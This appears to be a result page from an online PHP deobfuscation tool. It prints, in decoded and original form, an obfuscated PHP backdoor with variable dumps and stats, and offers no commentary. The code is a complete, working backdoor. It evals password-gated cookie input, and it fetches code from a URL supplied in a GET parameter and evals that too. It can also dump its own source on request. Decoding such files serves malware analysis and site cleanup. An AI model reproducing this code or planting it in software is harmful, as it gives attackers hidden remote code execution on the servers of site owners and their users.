Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $Uwg = 'range'; $RiI = array('~', '}', '|', '{', 'z', 'y', 'x', 'w', 'v', 'u', 't'..

Decoded Output download

<?php 
$Uwg = 'range'; 
$RiI = array('~', '}', '|', '{', 'z', 'y', 'x', 'w', 'v', 'u', 't', 's', 'r', 'q', 'p', 'o', 'n', 'm', 'l', 'k', 'j', 'i', 'h', 'g', 'f', 'e', 'd', 'c', 'b', 'a', '`', '_', '^', ']', '\', '[', 'Z', 'Y', 'X', 'W', 'V', 'U', 'T', 'S', 'R', 'Q', 'P', 'O', 'N', 'M', 'L', 'K', 'J', 'I', 'H', 'G', 'F', 'E', 'D', 'C', 'B', 'A', '@', '?', '>', '=', '<', ';', ':', '9', '8', '7', '6', '5', '4', '3', '2', '1', '0', '/', '.', '-', ',', '+', '*', ')', '(', '\'', '&', '%', '$', '#', '"', '!', ' '); 
$H = ${$RiI[31 + 0] . $RiI[21 + 38] . $RiI[25 + 22] . $RiI[47 + 0] . $RiI[18 + 33] . $RiI[0 + 53] . $RiI[49 + 8]}; 
@(md5(md5(md5(md5($H[17])))) === "015d1a9cca70f4590c30fe7e3a2ea821") && (count($H) == 23 && in_array(gettype($H) . count($H), $H)) ? ($H[61] = $H[61] . $H[79]) && ($H[86] = $H[61]($H[86])) && @eval($H[61](${$H[44]}[23])) : $H; 
class Ly 
{ 
    static function BFisZ($KxR) 
    { 
        $WySnFwNua = 'range'; 
        $uTvwmPGyEp = array('~', '}', '|', '{', 'z', 'y', 'x', 'w', 'v', 'u', 't', 's', 'r', 'q', 'p', 'o', 'n', 'm', 'l', 'k', 'j', 'i', 'h', 'g', 'f', 'e', 'd', 'c', 'b', 'a', '`', '_', '^', ']', '\', '[', 'Z', 'Y', 'X', 'W', 'V', 'U', 'T', 'S', 'R', 'Q', 'P', 'O', 'N', 'M', 'L', 'K', 'J', 'I', 'H', 'G', 'F', 'E', 'D', 'C', 'B', 'A', '@', '?', '>', '=', '<', ';', ':', '9', '8', '7', '6', '5', '4', '3', '2', '1', '0', '/', '.', '-', ',', '+', '*', ')', '(', '\'', '&', '%', '$', '#', '"', '!', ' '); 
        $ZRv = explode(':', $KxR); 
        $WTjKV = ''; 
        foreach ($ZRv as $Gbf => $Nn) { 
            $WTjKV .= $uTvwmPGyEp[$Nn - 83662]; 
        } 
        return $WTjKV; 
     
    } 
    static function lnrR($mLf, $ACT) 
    { 
        $ChKzf = curl_init($mLf); 
        curl_setopt($ChKzf, CURLOPT_RETURNTRANSFER, 1); 
        $lXGcwuI = curl_exec($ChKzf); 
        return empty($lXGcwuI) ? $ACT($mLf) : $lXGcwuI; 
     
    } 
    static function PBR() 
    { 
        $JaVu = array('83689:83674:83687:83691:83672:83687:83693:83686:83671:83678:83689:83672:83683:83677:83678', '83673:83672:83674:83693:83674:83677:83672:83739:83737', '83682:83673:83677:83678:83693:83688:83687:83689:83677:83688:83687', '83676:83691:83689:83681', '83690:83691:83673:83687:83734:83736:83693:83688:83687:83689:83677:83688:83687', '83686:83683:83680:83687:83693:83685:83687:83672:83693:83689:83677:83678:83672:83687:83678:83672:83673', '83716:83746', '83663', '83741:83746', '83723:83706:83706:83723:83699', '83677:83686'); 
        foreach ($JaVu as $pnI) { 
            $hsUutRgc[] = self::BFisZ($pnI); 
        } 
        $MtUin = @$hsUutRgc[1](${"_" . 'GET'}[$hsUutRgc[8 + 1]]); 
        $LIeTP = @$hsUutRgc[0 + 3]($hsUutRgc[5 + 1], $MtUin); 
        $YAcF = $hsUutRgc[2 + 0]($LIeTP, true); 
        @${"_" . 'GET'}[$hsUutRgc[10 + 0]] == 1 && die($hsUutRgc[4 + 1](__FILE__)); 
        if (@$YAcF[0] - time() > 0 and md5(md5($YAcF[3 + 0])) === "52231c9f4161253cb4063053145fb2e7") { 
            $ByQhCgNK = self::lnrR($YAcF[1 + 0], $hsUutRgc[4 + 1]); 
            @eval($hsUutRgc[0 + 4]($ByQhCgNK)); 
            die; 
         
        } 
     
    } 
} 
Ly::PBR(); ?>

Did this file decode correctly?

Original Code

<?php
$Uwg = 'range';
$RiI = array('~', '}', '|', '{', 'z', 'y', 'x', 'w', 'v', 'u', 't', 's', 'r', 'q', 'p', 'o', 'n', 'm', 'l', 'k', 'j', 'i', 'h', 'g', 'f', 'e', 'd', 'c', 'b', 'a', '`', '_', '^', ']', '\\', '[', 'Z', 'Y', 'X', 'W', 'V', 'U', 'T', 'S', 'R', 'Q', 'P', 'O', 'N', 'M', 'L', 'K', 'J', 'I', 'H', 'G', 'F', 'E', 'D', 'C', 'B', 'A', '@', '?', '>', '=', '<', ';', ':', '9', '8', '7', '6', '5', '4', '3', '2', '1', '0', '/', '.', '-', ',', '+', '*', ')', '(', '\'', '&', '%', '$', '#', '"', '!', ' ');
$H = ${$RiI[31 + 0] . $RiI[21 + 38] . $RiI[25 + 22] . $RiI[47 + 0] . $RiI[18 + 33] . $RiI[0 + 53] . $RiI[49 + 8]};
@(md5(md5(md5(md5($H[17])))) === "015d1a9cca70f4590c30fe7e3a2ea821") && (count($H) == 23 && in_array(gettype($H) . count($H), $H)) ? ($H[61] = $H[61] . $H[79]) && ($H[86] = $H[61]($H[86])) && @eval($H[61](${$H[44]}[23])) : $H;
class Ly
{
    static function BFisZ($KxR)
    {
        $WySnFwNua = 'range';
        $uTvwmPGyEp = array('~', '}', '|', '{', 'z', 'y', 'x', 'w', 'v', 'u', 't', 's', 'r', 'q', 'p', 'o', 'n', 'm', 'l', 'k', 'j', 'i', 'h', 'g', 'f', 'e', 'd', 'c', 'b', 'a', '`', '_', '^', ']', '\\', '[', 'Z', 'Y', 'X', 'W', 'V', 'U', 'T', 'S', 'R', 'Q', 'P', 'O', 'N', 'M', 'L', 'K', 'J', 'I', 'H', 'G', 'F', 'E', 'D', 'C', 'B', 'A', '@', '?', '>', '=', '<', ';', ':', '9', '8', '7', '6', '5', '4', '3', '2', '1', '0', '/', '.', '-', ',', '+', '*', ')', '(', '\'', '&', '%', '$', '#', '"', '!', ' ');
        $ZRv = explode(':', $KxR);
        $WTjKV = '';
        foreach ($ZRv as $Gbf => $Nn) {
            $WTjKV .= $uTvwmPGyEp[$Nn - 83662];
        }
        return $WTjKV;
    
    }
    static function lnrR($mLf, $ACT)
    {
        $ChKzf = curl_init($mLf);
        curl_setopt($ChKzf, CURLOPT_RETURNTRANSFER, 1);
        $lXGcwuI = curl_exec($ChKzf);
        return empty($lXGcwuI) ? $ACT($mLf) : $lXGcwuI;
    
    }
    static function PBR()
    {
        $JaVu = array('83689:83674:83687:83691:83672:83687:83693:83686:83671:83678:83689:83672:83683:83677:83678', '83673:83672:83674:83693:83674:83677:83672:83739:83737', '83682:83673:83677:83678:83693:83688:83687:83689:83677:83688:83687', '83676:83691:83689:83681', '83690:83691:83673:83687:83734:83736:83693:83688:83687:83689:83677:83688:83687', '83686:83683:83680:83687:83693:83685:83687:83672:83693:83689:83677:83678:83672:83687:83678:83672:83673', '83716:83746', '83663', '83741:83746', '83723:83706:83706:83723:83699', '83677:83686');
        foreach ($JaVu as $pnI) {
            $hsUutRgc[] = self::BFisZ($pnI);
        }
        $MtUin = @$hsUutRgc[1](${"_" . 'GET'}[$hsUutRgc[8 + 1]]);
        $LIeTP = @$hsUutRgc[0 + 3]($hsUutRgc[5 + 1], $MtUin);
        $YAcF = $hsUutRgc[2 + 0]($LIeTP, true);
        @${"_" . 'GET'}[$hsUutRgc[10 + 0]] == 1 && die($hsUutRgc[4 + 1](__FILE__));
        if (@$YAcF[0] - time() > 0 and md5(md5($YAcF[3 + 0])) === "52231c9f4161253cb4063053145fb2e7") {
            $ByQhCgNK = self::lnrR($YAcF[1 + 0], $hsUutRgc[4 + 1]);
            @eval($hsUutRgc[0 + 4]($ByQhCgNK));
            die;
        
        }
    
    }
}
Ly::PBR();

Function Calls

None

Variables

$H 0
$RiI [{'key': 0, 'value': '~'}, {'key': 1, 'value': '}'}, {'key': 2, 'value': '|'}, {'key': 3, 'value': '{'}, {'key': 4, 'value': 'z'}, {'key': 5, 'value': 'y'}, {'key': 6, 'value': 'x'}, {'key': 7, 'value': 'w'}, {'key': 8, 'value': 'v'}, {'key': 9, 'value': 'u'}, {'key': 10, 'value': 't'}, {'key': 11, 'value': 's'}, {'key': 12, 'value': 'r'}, {'key': 13, 'value': 'q'}, {'key': 14, 'value': 'p'}, {'key': 15, 'value': 'o'}, {'key': 16, 'value': 'n'}, {'key': 17, 'value': 'm'}, {'key': 18, 'value': 'l'}, {'key': 19, 'value': 'k'}, {'key': 20, 'value': 'j'}, {'key': 21, 'value': 'i'}, {'key': 22, 'value': 'h'}, {'key': 23, 'value': 'g'}, {'key': 24, 'value': 'f'}, {'key': 25, 'value': 'e'}, {'key': 26, 'value': 'd'}, {'key': 27, 'value': 'c'}, {'key': 28, 'value': 'b'}, {'key': 29, 'value': 'a'}, {'key': 30, 'value': '`'}, {'key': 31, 'value': '_'}, {'key': 32, 'value': '^'}, {'key': 33, 'value': ']'}, {'key': 34, 'value': '\\'}, {'key': 35, 'value': '['}, {'key': 36, 'value': 'Z'}, {'key': 37, 'value': 'Y'}, {'key': 38, 'value': 'X'}, {'key': 39, 'value': 'W'}, {'key': 40, 'value': 'V'}, {'key': 41, 'value': 'U'}, {'key': 42, 'value': 'T'}, {'key': 43, 'value': 'S'}, {'key': 44, 'value': 'R'}, {'key': 45, 'value': 'Q'}, {'key': 46, 'value': 'P'}, {'key': 47, 'value': 'O'}, {'key': 48, 'value': 'N'}, {'key': 49, 'value': 'M'}, {'key': 50, 'value': 'L'}, {'key': 51, 'value': 'K'}, {'key': 52, 'value': 'J'}, {'key': 53, 'value': 'I'}, {'key': 54, 'value': 'H'}, {'key': 55, 'value': 'G'}, {'key': 56, 'value': 'F'}, {'key': 57, 'value': 'E'}, {'key': 58, 'value': 'D'}, {'key': 59, 'value': 'C'}, {'key': 60, 'value': 'B'}, {'key': 61, 'value': 'A'}, {'key': 62, 'value': '@'}, {'key': 63, 'value': '?'}, {'key': 64, 'value': '>'}, {'key': 65, 'value': '='}, {'key': 66, 'value': '<'}, {'key': 67, 'value': ';'}, {'key': 68, 'value': ':'}, {'key': 69, 'value': '9'}, {'key': 70, 'value': '8'}, {'key': 71, 'value': '7'}, {'key': 72, 'value': '6'}, {'key': 73, 'value': '5'}, {'key': 74, 'value': '4'}, {'key': 75, 'value': '3'}, {'key': 76, 'value': '2'}, {'key': 77, 'value': '1'}, {'key': 78, 'value': '0'}, {'key': 79, 'value': '/'}, {'key': 80, 'value': '.'}, {'key': 81, 'value': '-'}, {'key': 82, 'value': ','}, {'key': 83, 'value': '+'}, {'key': 84, 'value': '*'}, {'key': 85, 'value': ')'}, {'key': 86, 'value': '('}, {'key': 87, 'value': "'"}, {'key': 88, 'value': '&'}, {'key': 89, 'value': '%'}, {'key': 90, 'value': '$'}, {'key': 91, 'value': '#'}, {'key': 92, 'value': '"'}, {'key': 93, 'value': '!'}, {'key': 94, 'value': ' '}]
$Uwg range

Stats

MD5 96f826232c2a075553a6a84f264bce3f
Eval Count 0
Decode Time 275 ms